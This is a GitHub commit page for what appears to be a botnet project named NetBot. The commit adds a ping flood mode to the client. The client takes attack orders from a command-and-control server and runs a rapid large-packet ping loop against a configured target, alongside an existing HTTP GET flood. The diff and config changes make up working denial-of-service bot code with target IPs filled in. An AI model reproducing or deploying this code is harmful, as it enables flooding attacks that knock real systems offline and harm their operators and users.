Skip to content

Commit

Permalink
Ping of Death / Ping Flood Attack Added
Browse files Browse the repository at this point in the history
  • Loading branch information
sh4nx0r committed Aug 2, 2021
1 parent 749c604 commit 1ee2d32
Show file tree
Hide file tree
Showing 3 changed files with 32 additions and 15 deletions.
Binary file removed __pycache__/netbot_config.cpython-39.pyc
Binary file not shown.
36 changes: 26 additions & 10 deletions netbot_client.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,8 @@
#import requests
import os
import urllib.request
import subprocess
import signal



Expand All @@ -27,15 +29,27 @@ def terminate(self):
self._running = False

def run(self, n):
while self._running and attackSet:

url_attack = 'http://'+n[0]+':'+n[1]+'/'

#r = requests.get("http://192.168.0.151/")
u = urllib.request.urlopen(url_attack).read()
#print("Value ", n)
#print("URL", url_attack)
time.sleep(int(n[4]))
run = 0
#terminate = 0
if n[3]=="HTTPFLOOD":
while self._running and attackSet:
url_attack = 'http://'+n[0]+':'+n[1]+'/'
u = urllib.request.urlopen(url_attack).read()
time.sleep(int(n[4]))

if n[3]=="PINGFLOOD":
while self._running:
if attackSet:
if run == 0:
url_attack = 'ping '+n[0]+' -i 0.0000001 -s 65000 > /dev/null 2>&1'
pro = subprocess.Popen(url_attack, stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
run = 1
else:
if run == 1:
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
run = 0
break



def Main():
Expand All @@ -45,6 +59,8 @@ def Main():
attackSet = 0
global updated
updated = 0
global terminate
terminate = 0


host = '192.168.0.174' # NetBot CCC Server
Expand Down Expand Up @@ -129,4 +145,4 @@ def Main():
s.close()

if __name__ == '__main__':
Main()
Main()
11 changes: 6 additions & 5 deletions netbot_config.py
Original file line number Diff line number Diff line change
@@ -1,15 +1,16 @@
ATTACK_TARGET_HOST = "192.168.0.174" # IP address of the machine to be attacked.
ATTACK_TARGET_PORT = "80" # Port Number of the machine to be attacked.
ATTACK_TARGET_HOST = "192.168.0.105" # IP address of the machine to be attacked.
ATTACK_TARGET_PORT = "3000" # Port Number of the machine to be attacked.

#################################################################################

# Type of Attacks (Other Attacks are not yet supported)
#HTTPFLOOD - Floods the target system with GET requests.
#HTTPFLOOD - Floods the target system with GET requests. (PORT and DELAY parameters required)
#PINGFLOOD - Floods the target system with ICMP echo requests. (PORT AND DELAY parameters not required)

ATTACK_TYPE = "HTTPFLOOD"
ATTACK_TYPE = "PINGFLOOD"

# Number of seconds delay between the burst of requests. 0 for No Delay
ATTACK_BURST_SECONDS = "1"
ATTACK_BURST_SECONDS = "0"

#################################################################################

Expand Down

0 comments on commit 1ee2d32

Please sign in to comment.